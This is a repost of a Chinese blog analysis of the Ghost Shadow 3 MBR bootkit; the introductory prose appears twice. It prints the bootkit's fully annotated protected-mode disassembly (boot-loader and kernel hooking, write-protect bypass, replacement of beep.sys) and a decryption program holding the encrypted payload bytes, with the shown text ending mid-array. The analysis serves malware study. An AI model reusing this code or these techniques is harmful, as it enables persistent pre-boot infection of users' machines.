-
-
[旧帖] [转帖]鬼影3样本Mbr之后保护模式代码详细注释 0.00雪花
-
发表于: 2011-11-12 09:03 1932
-
原文链接:http://blog.csdn.net/gaa_ra/article/details/6593860
今天和明天是最后两天宿舍有空调的日子啦,暑假宿舍没空调啊,悲催T__T
好吧,今天是最精华的部分啦对于鬼影3的分析,剩下的都是浮云啦,alg.exe不准备分析了,能用OD调试的货.分析起来只是时间问题.但是MBR和之后的保护模式的代码就不一样啦同学们,纯静态分析,伤不起啊,各种硬编码,自修改!T__T
今天给出3份东西,包括1,详细注解;2,一个对磁盘病毒加密内容进行解密的程序代码(参考上一篇的磁盘布局);3,一个通过保护模式里面提供的函数名hash值获取函数名的程序代码.
我稍微说一下鬼影3是如何通过修改MBR进而在系统启动之前获取到控制权,加载自己的Hello_tt.sys的.具体的代码和注释可以参考我前面两篇文章,有爱请猛击吧亲:
这篇是对于鬼影3感染系统的mb.exe和hello_tt.sys的反汇编代码还原为C代码,包含大量注释(虽然不能编译)http://blog.csdn.net/gaa_ra/article/details/6589324
这篇是对于鬼影3修改的MBR进行详细的分析注释,包括了HOOK INT 13h部分和HOOK OsLoader.exe部分的说明http://blog.csdn.net/gaa_ra/article/details/6593860
过程大概如下:
1.首先VirusMbr复制自身到内存当中,然后跳过去复制的内存当中执行.
2.通过int 13h的扩展读功能把病毒写在硬盘当中的内容复制到内存里,主要复制的是加密部分,包括保护模式代码,Hello_tt.sys和加密的系统原Mbr
3.接下来对内存当中的加密内容进行解密,这样系统原Mbr也解密出来了
4.对int 13h中断进行hook,之后把系统原Mbr加载到内存0x7c00处,返回执行系统原Mbr指令
5.由于hook了int 13h中断,对于2h和42h子功能进行过滤,但系统加载ntldr文件的时候,对OsLoader.exe进行hook,科普一下,ntldr = Startup.com(16位) + OsLoader.exe(PE文件,32位)
6.通过查找指定序列签名Hook OsLoader.exe,主要挂钩的地方是_BlLoadBootDriver@12处的下一句代码,之后OsLoader.exe执行的时候病毒会再次获得控制权
7.当病毒再次获取到控制权,此时系统已近通过Startup.com切换到保护模式下了,这部分代码的详细注解后面给出,病毒搜索OsLoader.exe的代码空间,获取_BlLoaderBlock地址,如图1
图1,红框圈起来是搜索代码的表示,最终获取的是415921 A1后的4个字节,即_BlLoaderBlock地址
8.获取了_BlLoaderBlock之后,通过该结构得到ntoskrnl.exe的加载基址,查找IoGetCurrentProcess,对该函数进行Inline Hook,修改函数头部5字节,之后返回OsLoader.exe继续执行
9.当系统调用IoGetCurrentPorcess的时候病毒重新获得控制权,此时病毒把自身复制到内核共享用户数据区当中(FFDF0800h处开始),然后跳转过去继续执行.
10.病毒对IoGetCurrentProcess的Inline Hook进行恢复,之后通过创建一个系统线程对beep.sys进行替换工作.这样就能保证病毒在操作系统完全加载之前获得执行权限了
上面说的过程只是大概,具体可以参考详细的反汇编代码,有详细的注释^_^
下面是保护模式部分的反汇编代码
图2,自修改代码的地方,红色框框
下面是福利,附加的两个程序,用来看解密的数据和通过Hash获取ntoskrnl.exe哪些函数
[CODE][/CODE]
我把输出表提取出来用数组的形式做是为了偷懒,避免一些麻烦,主要是PE文件当中使用了很多的RVA,如果直接对磁盘文件进行操作需要进行换算,磁盘映像和内存映像不太一样,我这里把FunctionsNameTable用WinHex提取出来,然后直接对数组进行操作,简单一些^_^
末尾的吐槽:剩下的alg.exe不准备分析啦.花了4天弄鬼影3的样本分析.基本上里面我最感兴趣的从实模式切到保护模式和系统操作的代码都搞清楚了.中间查了不少资料,收获不少,啊哈哈哈哈哈哈.
好吧.哥3天没看银魂,这两天的睡眠时间都是6个多小时.就是xx鬼影3了.
自认为自己只是一个很努力的菜鸟(肥菜鸟),欢迎大家拍砖交流.^_^
今天和明天是最后两天宿舍有空调的日子啦,暑假宿舍没空调啊,悲催T__T
好吧,今天是最精华的部分啦对于鬼影3的分析,剩下的都是浮云啦,alg.exe不准备分析了,能用OD调试的货.分析起来只是时间问题.但是MBR和之后的保护模式的代码就不一样啦同学们,纯静态分析,伤不起啊,各种硬编码,自修改!T__T
今天给出3份东西,包括1,详细注解;2,一个对磁盘病毒加密内容进行解密的程序代码(参考上一篇的磁盘布局);3,一个通过保护模式里面提供的函数名hash值获取函数名的程序代码.
我稍微说一下鬼影3是如何通过修改MBR进而在系统启动之前获取到控制权,加载自己的Hello_tt.sys的.具体的代码和注释可以参考我前面两篇文章,有爱请猛击吧亲:
这篇是对于鬼影3感染系统的mb.exe和hello_tt.sys的反汇编代码还原为C代码,包含大量注释(虽然不能编译)http://blog.csdn.net/gaa_ra/article/details/6589324
这篇是对于鬼影3修改的MBR进行详细的分析注释,包括了HOOK INT 13h部分和HOOK OsLoader.exe部分的说明http://blog.csdn.net/gaa_ra/article/details/6593860
过程大概如下:
1.首先VirusMbr复制自身到内存当中,然后跳过去复制的内存当中执行.
2.通过int 13h的扩展读功能把病毒写在硬盘当中的内容复制到内存里,主要复制的是加密部分,包括保护模式代码,Hello_tt.sys和加密的系统原Mbr
3.接下来对内存当中的加密内容进行解密,这样系统原Mbr也解密出来了
4.对int 13h中断进行hook,之后把系统原Mbr加载到内存0x7c00处,返回执行系统原Mbr指令
5.由于hook了int 13h中断,对于2h和42h子功能进行过滤,但系统加载ntldr文件的时候,对OsLoader.exe进行hook,科普一下,ntldr = Startup.com(16位) + OsLoader.exe(PE文件,32位)
6.通过查找指定序列签名Hook OsLoader.exe,主要挂钩的地方是_BlLoadBootDriver@12处的下一句代码,之后OsLoader.exe执行的时候病毒会再次获得控制权
7.当病毒再次获取到控制权,此时系统已近通过Startup.com切换到保护模式下了,这部分代码的详细注解后面给出,病毒搜索OsLoader.exe的代码空间,获取_BlLoaderBlock地址,如图1
图1,红框圈起来是搜索代码的表示,最终获取的是415921 A1后的4个字节,即_BlLoaderBlock地址
8.获取了_BlLoaderBlock之后,通过该结构得到ntoskrnl.exe的加载基址,查找IoGetCurrentProcess,对该函数进行Inline Hook,修改函数头部5字节,之后返回OsLoader.exe继续执行
9.当系统调用IoGetCurrentPorcess的时候病毒重新获得控制权,此时病毒把自身复制到内核共享用户数据区当中(FFDF0800h处开始),然后跳转过去继续执行.
10.病毒对IoGetCurrentProcess的Inline Hook进行恢复,之后通过创建一个系统线程对beep.sys进行替换工作.这样就能保证病毒在操作系统完全加载之前获得执行权限了
上面说的过程只是大概,具体可以参考详细的反汇编代码,有详细的注释^_^
下面是保护模式部分的反汇编代码
[COLOR="DarkGreen"]/*++ @file VirusProtectMode.asm @auth GaA.Ra @date 2011.7.9 --*/ /* seg000:00000000 ; seg000:00000000 ; +-------------------------------------------------------------------------+ seg000:00000000 ; | This file has been generated by The Interactive Disassembler (IDA) | seg000:00000000 ; | Copyright (c) 2011 Hex-Rays, <support@hex-rays.com> | seg000:00000000 ; | License info: B3-432E-F558-21 | seg000:00000000 ; | Ilfak Guilfanov | seg000:00000000 ; +-------------------------------------------------------------------------+ seg000:00000000 ; seg000:00000000 ; Input MD5 : 737381F9C678B050E5399CB283B0E6F9 seg000:00000000 ; Input CRC32 : D3822E1D seg000:00000000 seg000:00000000 ; File Name : D:\SourceLib\MyCode\TestProj\ReverseEng\鬼影3样本\VirusMbr_Next.bin seg000:00000000 ; Format : Binary file seg000:00000000 ; Base Address: 0000h Range: 0000h - 02D5h Loaded length: 02D5h seg000:00000000 seg000:00000000 include uni.inc ; see unicode subdir of ida for info on unicode seg000:00000000 seg000:00000000 .686p seg000:00000000 .mmx seg000:00000000 .model flat seg000:00000000 seg000:00000000 ; =========================================================================== seg000:00000000 seg000:00000000 ; Segment type: Pure code seg000:00000000 seg000 segment byte public 'CODE' use32 seg000:00000000 assume cs:seg000 seg000:00000000 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing seg000:00000000 dd 9C204h ; ntldr hook call address seg000:00000004 ; --------------------------------------------------------------------------- seg000:00000004 pushf seg000:00000005 pusha seg000:00000006 mov edi, [esp+24h] ; [ESP+24h]为EIP,指向OsLoader seg000:00000006 ; 存到EDI调整后供搜索使用 seg000:0000000A and edi, 0FFF00000h ; 将EDI调整为镜像基址 seg000:00000010 cld seg000:00000011 mov al, 0C7h ; ' ; 搜索标志40003446h的前一个字节,可以参考图片 seg000:00000013 seg000:00000013 @ModuleList_SigLoop: ; CODE XREF: seg000:00000014↓j seg000:00000013 ; seg000:0000001C↓j seg000:00000013 scasb ; 将edi与al进行比较,每次执行后edi+1 seg000:00000014 jnz short @ModuleList_SigLoop seg000:00000016 cmp dword ptr [edi], 40003446h ; 搜索标志,具体代码可以参考图片 seg000:0000001C jnz short @ModuleList_SigLoop seg000:0000001E mov al, 0A1h ; ' ; 下一句代码是把_BlLoaderBlock写入EAX seg000:0000001E ; 搜索这句代码机器码的第一个字节,之后 seg000:0000001E ; 的便是_BlLoaderBlock地址 seg000:0000001E ; A1h/xx/xx/xx/xx: MOV EAX, [xxxxxxxx] seg000:00000020 seg000:00000020 @ModuleList_BaseAddrLoop: ; CODE XREF: seg000:00000021↓j seg000:00000020 scasb seg000:00000021 jnz short @ModuleList_BaseAddrLoop seg000:00000023 mov esi, [edi] ; ESI <- LIST_ENTRY seg000:00000023 ; struct _BlLoaderBlock seg000:00000023 ; { seg000:00000023 ; +00h LIST_ENTRY module list links seg000:00000023 ; +08h [10h] ??? seg000:00000023 ; +18h PTR image base address seg000:00000023 ; +1Ch PTR module entry point seg000:00000023 ; +20h DWORD size of loaded module in memory seg000:00000023 ; +24h UNICODE_STRING full module path and file name seg000:00000023 ; +2Ch UNICODE_STRING module file name seg000:00000023 ; }; seg000:00000025 mov esi, [esi] ; ESI <- 链表上第一个节点,应该是头节点List_Head seg000:00000027 lodsd ; 获取第二个节点,存入EAX(第一个有效的节点) seg000:00000028 mov ebx, [eax+18h] ; EBX <- Image Base Address seg000:0000002B call OverHookFunc ; 调用OverHookFunc之后会直接返回 seg000:0000002B ; OsLoader.exe的执行流程当中 seg000:00000030 sub dword ptr [esp], 5 ; @IoGetCurrentProcessHook起始地址 seg000:00000030 ; 这部分代码将会被写入Ntoskrnl.exe seg000:00000030 ; 内存镜像当中,代码长度0x37 seg000:00000037 pusha ; seg000:00000037 ; 下面部分的代码完成的功能主要是 seg000:00000037 ; 修改固定页表的第一页地址,改成Mbr seg000:00000037 ; 之前申请的内存空间,Mbr当中已经 seg000:00000037 ; 考虑了4KB对齐问题,之后把代码复制 seg000:00000037 ; 300h直接到用户共享数据区地址是 seg000:00000037 ; FFDF0800h,之后返回到FFDF08AF继续 seg000:00000037 ; 执行 seg000:00000038 mov eax, 9C001h ; 我们的代码当前所在物理内存位置是9C001开始 seg000:0000003D xor ecx, ecx seg000:0000003F mov ch, 3 ; cx = 300h, 代码长度300h seg000:00000041 mov edx, 0C0000000h ; 固定页表的第一个表项 seg000:00000046 mov esi, 200h ; Mbr当中已经做过4KB对齐, seg000:00000046 ; 现在代码地址在9C200 seg000:0000004B mov edi, 0FFDF0800h ; 内核当中共享用户数据区地址 seg000:00000050 xchg eax, [edx] ; 修改第一个页表地址到9C001 seg000:00000052 wbinvd ; 特权指令,使CACHE失效,目的应该是把 seg000:00000052 ; 数据写到内存里,避免在CPU的缓存当中 seg000:00000054 rep movsb ; 拷贝数据过去FFDF0800h seg000:00000056 mov [edx], eax ; 恢复固定页表的第一个表项 seg000:00000058 wbinvd seg000:0000005A push 0 ; 这句代码已经在Hook函数当中做过修改 seg000:0000005C push 0 ; 这句代码已经在Hook函数当中做过修改 seg000:00000061 push 0FFDF08AFh ; 返回到FFDF08AFh继续执行病毒代码 seg000:00000066 retn seg000:00000067 seg000:00000067 ; =============== S U B R O U T I N E ======================================= seg000:00000067 seg000:00000067 seg000:00000067 OverHookFunc proc near ; CODE XREF: seg000:0000002B↑p seg000:00000067 seg000:00000067 arg_24 = dword ptr 28h seg000:00000067 seg000:00000067 pop esi ; call过来的,堆栈上是函数返回地址 seg000:00000067 ; 也就是ESI为@IoGetCurrentProcessHook的起始地址 seg000:00000068 mov ecx, 37h ; '7' ; @IoGetCurrentProcessHook函数的代码长度,这里是硬编码37h seg000:0000006D mov [esi+204h], ebx ; EBX: Image Base Address seg000:0000006D ; 把EBX写入@IoGetCurrentProcessHook+204h seg000:0000006D ; 234h处,修改代码写入镜像基址,如图2 seg000:00000073 lea edi, [ebx+40h] ; EDI <- Image Base Address + 40h seg000:00000076 mov ebp, edi ; 保存@IoGetCurrentProcessHook地址后面使用 seg000:00000078 rep movsb ; 把@IoGetCurrentProcessHook的代 seg000:00000078 ; 码写入ImageBaseAddress+40h处 seg000:0000007A push 0CE8C3177h ; Hash:IoGetCurrentProcess seg000:0000007A ; 要查找的函数名32位HASH值 seg000:0000007F call @GetExport seg000:00000084 xchg eax, esi seg000:00000085 sub edi, 0Ah seg000:0000008B movsd seg000:0000008C sub edi, 6 seg000:00000092 movsb ; 上面的代码修改@IoGetCurrentProcessHook代码 seg000:00000092 ; 使能够正确的返回到系统的IoGetCurrentProcess seg000:00000093 mov byte ptr [esi-5], 0E8h ; ' seg000:00000097 sub ebp, esi seg000:00000099 mov [esi-4], ebp ; 上面的代码主要完成的功能是 seg000:00000099 ; Inline Hook IoGetCurrentProcess seg000:00000099 ; 修改头5个字节为EB XXXXXXXX(ebp内容) seg000:00000099 ; 即CALL EBP,而EBP里面保存的是 seg000:00000099 ; @IoGetCurrentProcessHook地址 seg000:0000009C popa seg000:0000009D popf seg000:0000009E mov esi, eax ; OsLoader.exe 覆盖的代码 seg000:000000A0 test eax, eax ; OsLoader.exe 覆盖的代码 seg000:000000A2 jnz short @PatchFunction_done_nojz ; 返回到OsLoader.exe当中执行,当系统 seg000:000000A2 ; 调用IoGetCurrentProcess()时候鬼影 seg000:000000A2 ; 3会继续获得系统的控制权 seg000:000000A4 pushf seg000:000000A5 add [esp-24h+arg_24], 21h ; '!' ; seg000:000000A5 ; 这里是返回到OsLoader.exe当中 seg000:000000A5 ; 由于修改了OsLoader.exe如下 seg000:000000A5 ; .text:00422A6F mov esi, eax seg000:000000A5 ; .text:00422A71 test esi, esi seg000:000000A5 ; .text:00422A73 jz short loc_422A96 seg000:000000A5 ; .text:00422A75 seg000:000000A5 ; 进行恢复之后,如果要跳转到422A96 seg000:000000A5 ; 那么就修改栈上的返回地址(422A75) seg000:000000A5 ; 加上21h,变为422A96 seg000:000000AD popf seg000:000000AE seg000:000000AE @PatchFunction_done_nojz: ; CODE XREF: OverHookFunc+3B↑j seg000:000000AE retn ; 返回到OsLoader.exe当中执行,当系统 seg000:000000AE OverHookFunc endp ; sp-analysis failed ; 调用IoGetCurrentProcess()时候鬼影 seg000:000000AE ; 3会继续获得系统的控制权 seg000:000000AF ; --------------------------------------------------------------------------- seg000:000000AF mov ebp, esp seg000:000000B1 mov edi, [ebp+28h] ; 这句是没必要的,病毒作者抄的RootBoot代码 seg000:000000B4 mov ecx, cr0 seg000:000000B7 mov edx, ecx seg000:000000B9 and ecx, 0FFFEFFFFh ; 去除内存页的写保护,通过CR0的第17位设置 seg000:000000BF mov cr0, ecx seg000:000000C2 pop eax ; 返回过来的时候总共往栈中压入 seg000:000000C2 ; 5个字节,这5个字节就是IoGetCurrentProcess seg000:000000C2 ; 函数前5个字节,这里进行恢复工作 seg000:000000C3 stosd ; 恢复工作 seg000:000000C4 pop eax ; 恢复工作 seg000:000000C5 stosb ; 恢复工作 seg000:000000C6 mov cr0, edx ; 恢复内存页的写保护 seg000:000000C9 jb short loc_CE seg000:000000CB jnb short loc_CE seg000:000000CB ; --------------------------------------------------------------------------- seg000:000000CD db 20h seg000:000000CE ; --------------------------------------------------------------------------- seg000:000000CE seg000:000000CE loc_CE: ; CODE XREF: seg000:000000C9↑j seg000:000000CE ; seg000:000000CB↑j seg000:000000CE enter 4, 0 seg000:000000D2 push 136E47C7h ; Hash:PsCreateSystemThread seg000:000000D7 call @GetExport ; 获取PsCreateSystemThread地址 seg000:000000DC lea ebx, [ebp-4] seg000:000000DF push 0 seg000:000000E4 push 0FFDF0903h seg000:000000E9 push 0 seg000:000000EE push 0 seg000:000000F3 push 0 seg000:000000F8 push 0 seg000:000000FD push ebx seg000:000000FE call eax ; 调用PsCreateSystemThread() seg000:000000FE ; 创建了一个新的系统线程,这个 seg000:000000FE ; 线程的代码地址是FFDF0903h seg000:000000FE ; 暂时称为@StartRoutine seg000:00000100 leave seg000:00000101 popa seg000:00000102 retn seg000:00000103 ; --------------------------------------------------------------------------- seg000:00000103 pusha ; @StartRoutine函数 seg000:00000103 ; 这个函数就是病毒花这么大的力气 seg000:00000103 ; 得到控制权想要完成的事情,在系统 seg000:00000103 ; 加载之前把自己的Hello_tt.sys替 seg000:00000103 ; 换系统的Beep.sys,由于系统正常需 seg000:00000103 ; 要加载Beep.sys,所以病毒这样就获 seg000:00000103 ; 取在操作系统当中执行的机会了,之前 seg000:00000103 ; 我们分析过,Hello_tt.sys会写入 seg000:00000103 ; c:\alg.exe和他的启动项,这样,系统 seg000:00000103 ; 启动之后首先加载病毒的sys,然后病毒 seg000:00000103 ; 写入alg.exe,注册表项,之后操作系统 seg000:00000103 ; 再根据注册表启动项执行alg.exe seg000:00000103 ; GAME OVER~~ seg000:00000104 enter 40h, 0 seg000:00000108 seg000:00000108 ZwCreateFile_Loop: ; CODE XREF: seg000:000001AD↓j seg000:00000108 ; seg000:000001D5↓j seg000:00000108 mov dword ptr [ebp-8], 0FFFFFFFFh seg000:0000010F mov dword ptr [ebp-0Ch], 0FECED300h seg000:00000116 push 0CC06CD48h ; Hash:KeDelayExecutionThread seg000:0000011B call @GetExport seg000:00000120 lea ebx, [ebp-0Ch] seg000:00000123 push ebx seg000:00000124 push 0 seg000:00000129 push 0 seg000:0000012E call eax ; 调用KeDelayExecutionThread() seg000:00000130 lea ecx, [ebp-18h] seg000:00000133 mov dword ptr [ecx], 18h seg000:00000139 and dword ptr [ecx+4], 0 seg000:00000140 mov dword ptr [ecx+0Ch], 40h ; '@' seg000:00000147 and dword ptr [ecx+10h], 0 seg000:0000014E and dword ptr [ecx+14h], 0 seg000:00000155 mov eax, 0FFDF0A85h seg000:0000015A mov dword ptr [eax+0], 0FFDF0A89h seg000:00000164 mov dword ptr [ecx+8], 0FFDF0A81h seg000:0000016E push 25298A1Dh ; Hash:ZwCreateFile seg000:00000173 call @GetExport seg000:00000178 lea ebx, [ebp-24h] seg000:0000017B lea edx, [ebp-20h] seg000:0000017E push 0 seg000:00000183 push 0 seg000:00000188 push 20h ; ' ' seg000:0000018D push 5 seg000:00000192 push 0 seg000:00000197 push 80h ; '€' seg000:0000019C push 0 seg000:000001A1 push edx seg000:000001A2 push ecx seg000:000001A3 push 40000000h seg000:000001A8 push ebx seg000:000001A9 call eax ; 调用ZwCreateFile打开Beep.sys文件 seg000:000001A9 ; 之后把病毒的Hello_tt.sys数据写入 seg000:000001A9 ; 替换系统的正常文件 seg000:000001AB or eax, eax seg000:000001AD jnz ZwCreateFile_Loop ; 打开文件直到成功 seg000:000001B3 push 0 seg000:000001B8 push 2800h seg000:000001BD push 0 seg000:000001C2 push 9C000h seg000:000001C7 push 0FCE7EE0Ch ; Hash:MmMapIoSpace seg000:000001CC call @GetExport seg000:000001D1 call eax seg000:000001D3 or eax, eax seg000:000001D5 jz ZwCreateFile_Loop seg000:000001DB mov ebx, eax seg000:000001DD add ebx, 4D5h seg000:000001E3 lea ecx, [ebp-20h] seg000:000001E6 push 7E3ACF7h ; Hash:ZwWriteFile seg000:000001EB call @GetExport seg000:000001F0 push 0 seg000:000001F5 push 0 seg000:000001FA push 1A00h seg000:000001FF push ebx seg000:00000200 push ecx seg000:00000201 push 0 seg000:00000206 push 0 seg000:0000020B push 0 seg000:00000210 push dword ptr [ebp-24h] seg000:00000213 call eax seg000:00000215 push 0FD929378h ; Hash:ZwClose seg000:0000021A call @GetExport seg000:0000021F push dword ptr [ebp-24h] seg000:00000222 call eax seg000:00000224 leave seg000:00000225 popa seg000:00000226 retn 4 seg000:00000229 seg000:00000229 ; =============== S U B R O U T I N E ======================================= seg000:00000229 seg000:00000229 ; Attributes: bp-based frame seg000:00000229 seg000:00000229 @GetExport proc near ; CODE XREF: OverHookFunc+18↑p seg000:00000229 ; seg000:000000D7↑p ... seg000:00000229 seg000:00000229 var_4 = dword ptr -4 seg000:00000229 FunctionNameHash= dword ptr 8 seg000:00000229 NumberOfNames = dword ptr 18h seg000:00000229 AddressOfFunctions= dword ptr 1Ch seg000:00000229 AddressOfNames = dword ptr 20h seg000:00000229 AddressOfNameOrdinals= dword ptr 24h seg000:00000229 seg000:00000229 enter 0, 0 seg000:0000022D xor eax, eax seg000:0000022F pusha seg000:00000230 mov edx, [ebp+FunctionNameHash] ; EDX <- FunctionNameHash seg000:00000233 mov ebx, 0 ; 注意这里已经通过上面的修改写成 seg000:00000233 ; ImageBaseAddress了,参考图片 seg000:00000238 mov ecx, [ebx+3Ch] ; PE头部偏移 seg000:0000023B mov ebp, [ebx+ecx+78h] ; 输出表RVA seg000:0000023F add ebp, ebx ; 输出表指针 seg000:00000241 mov ecx, [ebp+NumberOfNames] ; NumberOfNames seg000:00000244 mov edi, [ebp+AddressOfNames] ; AddressOfNames seg000:00000247 add edi, ebx seg000:00000249 jecxz short @GetExport_done seg000:0000024B seg000:0000024B @GetExport_NameLoop: ; CODE XREF: @GetExport+35↓j seg000:0000024B mov esi, [edi] ; 逐个处理函数名 seg000:0000024D add esi, ebx seg000:0000024F scasd ; EDI + 4, 下一个函数名的RVA seg000:00000250 push edx seg000:00000251 seg000:00000251 @GetExport_NameHashLoop: ; CODE XREF: @GetExport+30↓j seg000:00000251 lodsb ; FunctionNameHash += _ROL_(FunctionName.Reverse(), 7) seg000:00000252 sub edx, eax seg000:00000254 ror edx, 7 seg000:00000257 test eax, eax seg000:00000259 jnz short @GetExport_NameHashLoop seg000:0000025B test edx, edx seg000:0000025D pop edx seg000:0000025E loopne @GetExport_NameLoop ; 逐个处理函数名 seg000:00000260 jnz short @GetExport_done ; 若找不到跳转 seg000:00000262 not ecx seg000:00000264 mov edx, [ebp+AddressOfNameOrdinals] seg000:00000267 add ecx, [ebp+NumberOfNames] seg000:0000026A add edx, ebx seg000:0000026C mov ax, [edx+ecx*2] seg000:00000270 mov ecx, [ebp+AddressOfFunctions] seg000:00000273 add ecx, ebx seg000:00000275 add ebx, [ecx+eax*4] seg000:00000278 mov [esp+20h+var_4], ebx ; ESP+1Ch = EAX重写栈中 seg000:00000278 ; EAX内容之后POPA恢复,上面代码就 seg000:00000278 ; 是把找到的函数地址写入EAX返回 seg000:0000027C seg000:0000027C @GetExport_done: ; CODE XREF: @GetExport+20↑j seg000:0000027C ; @GetExport+37↑j seg000:0000027C popa seg000:0000027D leave seg000:0000027E retn 4 seg000:0000027E @GetExport endp seg000:0000027E seg000:0000027E ; --------------------------------------------------------------------------- seg000:00000281 db 4Ah ; J seg000:00000282 db 0 seg000:00000283 db 4Ch ; L seg000:00000284 db 0 seg000:00000285 db 0 seg000:00000286 db 0 seg000:00000287 db 0 seg000:00000288 db 0 seg000:00000289 aSystemrootSyst: seg000:00000289 unicode 0, <\SystemRoot\system32\drivers\beep.sys>,0 seg000:00000289 seg000 ends seg000:00000289 seg000:00000289 seg000:00000289 end */ [/COLOR]
图2,自修改代码的地方,红色框框
下面是福利,附加的两个程序,用来看解密的数据和通过Hash获取ntoskrnl.exe哪些函数
[COLOR="Green"]/*++ @file DecodeVirusContent.cpp @auth GaA.Ra @date 2011.7.8 --*/ #include <stdio.h> #include <windows.h> // //参考上一篇文章,data[9232]是ProtectMode Code + Hello_tt.sys +OriMbr加密数据 //这里写个程序把内容解密了写到VirusContentDecode.bin里面 // [/COLOR] unsigned char data[9232] = { 0x00, 0x00, 0x00, 0x00, 0xE4, 0x03, 0x5C, 0xE3, 0x21, 0x21, 0x0C, 0x3F, 0x00, 0x00, 0x87, 0xFF, 0xE7, 0x85, 0x3E, 0x75, 0xAB, 0xEF, 0x0C, 0xF9, 0x32, 0xA1, 0x00, 0x02, 0xAB, 0xAF, 0x85, 0x0D, 0x75, 0xAB, 0xEF, 0x5C, 0xB9, 0x5C, 0xB1, 0x6D, 0x5C, 0xC2, 0xC0, 0x47, 0xB9, 0x00, 0x00, 0x00, 0x0C, 0x61, 0x21, 0x28, 0x00, 0x00, 0x00, 0x03, 0xC5, 0x08, 0x00, 0x00, 0x00, 0x89, 0x4E, 0xAD, 0x18, 0xD5, 0x00, 0x00, 0x00, 0x06, 0xF5, 0x00, 0x10, 0x00, 0x00, 0xFD, 0x00, 0x40, 0xFE, 0xFF, 0x3C, 0x10, 0x78, 0x48, 0x9F, 0x25, 0x4C, 0x10, 0x78, 0x48, 0x53, 0x00, 0x43, 0x00, 0x00, 0x00, 0x00, 0x43, 0x7D, 0x40, 0xFE, 0xFF, 0x1E, 0xF2, 0xCD, 0xB9, 0x00, 0x00, 0x00, 0x4C, 0xF4, 0x20, 0x10, 0x00, 0x00, 0x6C, 0xDB, 0x02, 0x4C, 0xEF, 0x9F, 0x25, 0x43, 0xBB, 0x89, 0x64, 0x76, 0x47, 0x2D, 0x08, 0x00, 0x00, 0xB4, 0x0C, 0x7F, 0x50, 0x00, 0x00, 0x00, 0x2D, 0x0C, 0x7F, 0x30, 0x00, 0x00, 0x00, 0x25, 0x36, 0x32, 0xDF, 0x47, 0x49, 0xAF, 0x4C, 0x73, 0xE7, 0x0B, 0xEC, 0x4C, 0x36, 0x2C, 0x06, 0xAB, 0x50, 0xE4, 0x0C, 0x22, 0x21, 0x20, 0x09, 0x00, 0x00, 0x00, 0xEC, 0x1E, 0x4C, 0x2F, 0x5C, 0xEB, 0x41, 0x78, 0x01, 0x0E, 0x4C, 0x56, 0x0C, 0x0F, 0xFF, 0xFF, 0xF7, 0xFF, 0x78, 0x11, 0x0E, 0xC2, 0x5D, 0xC2, 0x55, 0x78, 0x11, 0x16, 0x93, 0x18, 0x9B, 0x08, 0x01, 0x46, 0x20, 0x00, 0x00, 0x43, 0x3E, 0x3A, 0x73, 0x98, 0x47, 0x6A, 0x08, 0x00, 0x00, 0x6C, 0xEA, 0xE7, 0x43, 0x00, 0x00, 0x00, 0x00, 0x43, 0x18, 0x48, 0xFE, 0xFF, 0x43, 0x00, 0x00, 0x00, 0x00, 0x43, 0x00, 0x00, 0x00, 0x00, 0x43, 0x00, 0x00, 0x00, 0x00, 0x43, 0x00, 0x00, 0x00, 0x00, 0x9A, 0xFF, 0x86, 0x4E, 0x0B, 0x1E, 0x03, 0x46, 0x02, 0x00, 0x00, 0x3E, 0x2A, 0xC7, 0xFF, 0xFF, 0xFF, 0xFF, 0x3E, 0x2A, 0xA7, 0x00, 0x9E, 0x76, 0xF7, 0x43, 0x42, 0x6E, 0x30, 0x66, 0x47, 0x48, 0x08, 0x00, 0x00, 0x6C, 0xEA, 0xA7, 0x9A, 0x43, 0x00, 0x00, 0x00, 0x00, 0x43, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x86, 0x6C, 0x6A, 0x47, 0x3E, 0x08, 0xC0, 0x00, 0x00, 0x00, 0x0C, 0x0B, 0x20, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x0A, 0x60, 0x02, 0x00, 0x00, 0x00, 0x0C, 0x0B, 0x80, 0x00, 0x00, 0x00, 0x00, 0x0C, 0x0B, 0xA0, 0x00, 0x00, 0x00, 0x00, 0xC5, 0x2C, 0x50, 0xFE, 0xFF, 0x3E, 0x04, 0x00, 0x00, 0x00, 0x00, 0x4C, 0x50, 0xFE, 0xFF, 0x3E, 0x0C, 0x40, 0x00, 0x00, 0x00, 0x0C, 0x50, 0xFE, 0xFF, 0x43, 0xE8, 0x54, 0x49, 0x29, 0x47, 0x8D, 0x00, 0x00, 0x00, 0x6C, 0xEA, 0xE6, 0x6C, 0xAA, 0x07, 0x43, 0x00, 0x00, 0x00, 0x00, 0x43, 0x00, 0x00, 0x00, 0x00, 0x43, 0x01, 0x00, 0x00, 0x00, 0x43, 0x28, 0x00, 0x00, 0x00, 0x43, 0x00, 0x00, 0x00, 0x00, 0x43, 0x04, 0x00, 0x00, 0x00, 0x43, 0x00, 0x00, 0x00, 0x00, 0x92, 0x8A, 0x43, 0x00, 0x00, 0x00, 0x02, 0x9A, 0xFF, 0x86, 0x48, 0x06, 0x78, 0x2C, 0xAA, 0xFF, 0xFF, 0xFF, 0x43, 0x00, 0x00, 0x00, 0x00, 0x43, 0x00, 0x41, 0x00, 0x00, 0x43, 0x00, 0x00, 0x00, 0x00, 0x43, 0x00, 0x00, 0x00, 0x00, 0x43, 0x60, 0x77, 0x3F, 0xE7, 0x47, 0xC2, 0x00, 0x00, 0x00, 0xFF, 0x86, 0x48, 0x06, 0x78, 0x24, 0x69, 0xFF, 0xFF, 0xFF, 0x4C, 0x1E, 0x0C, 0x1E, 0xAE, 0x20, 0x00, 0x00, 0x6C, 0x6A, 0x07, 0x43, 0xBF, 0x65, 0x1F, 0x38, 0x47, 0xC9, 0x00, 0x00, 0x00, 0x43, 0x00, 0x00, 0x00, 0x00, 0x43, 0x00, 0x00, 0x00, 0x00, 0x43, 0x00, 0xD0, 0x00, 0x00, 0x9A, 0x8A, 0x43, 0x00, 0x00, 0x00, 0x00, 0x43, 0x00, 0x00, 0x00, 0x00, 0x43, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xAB, 0xE6, 0xFF, 0x86, 0x43, 0xC3, 0x9C, 0x94, 0xEF, 0x47, 0x50, 0x00, 0x00, 0x00, 0xFF, 0xAB, 0xE6, 0xFF, 0x86, 0x4E, 0x0B, 0x16, 0x20, 0x00, 0x46, 0x00, 0x00, 0x00, 0x89, 0x06, 0x03, 0x5C, 0xAA, 0x40, 0xDD, 0x00, 0x00, 0x00, 0x00, 0x5C, 0x5A, 0xE1, 0x5C, 0x63, 0x58, 0xC3, 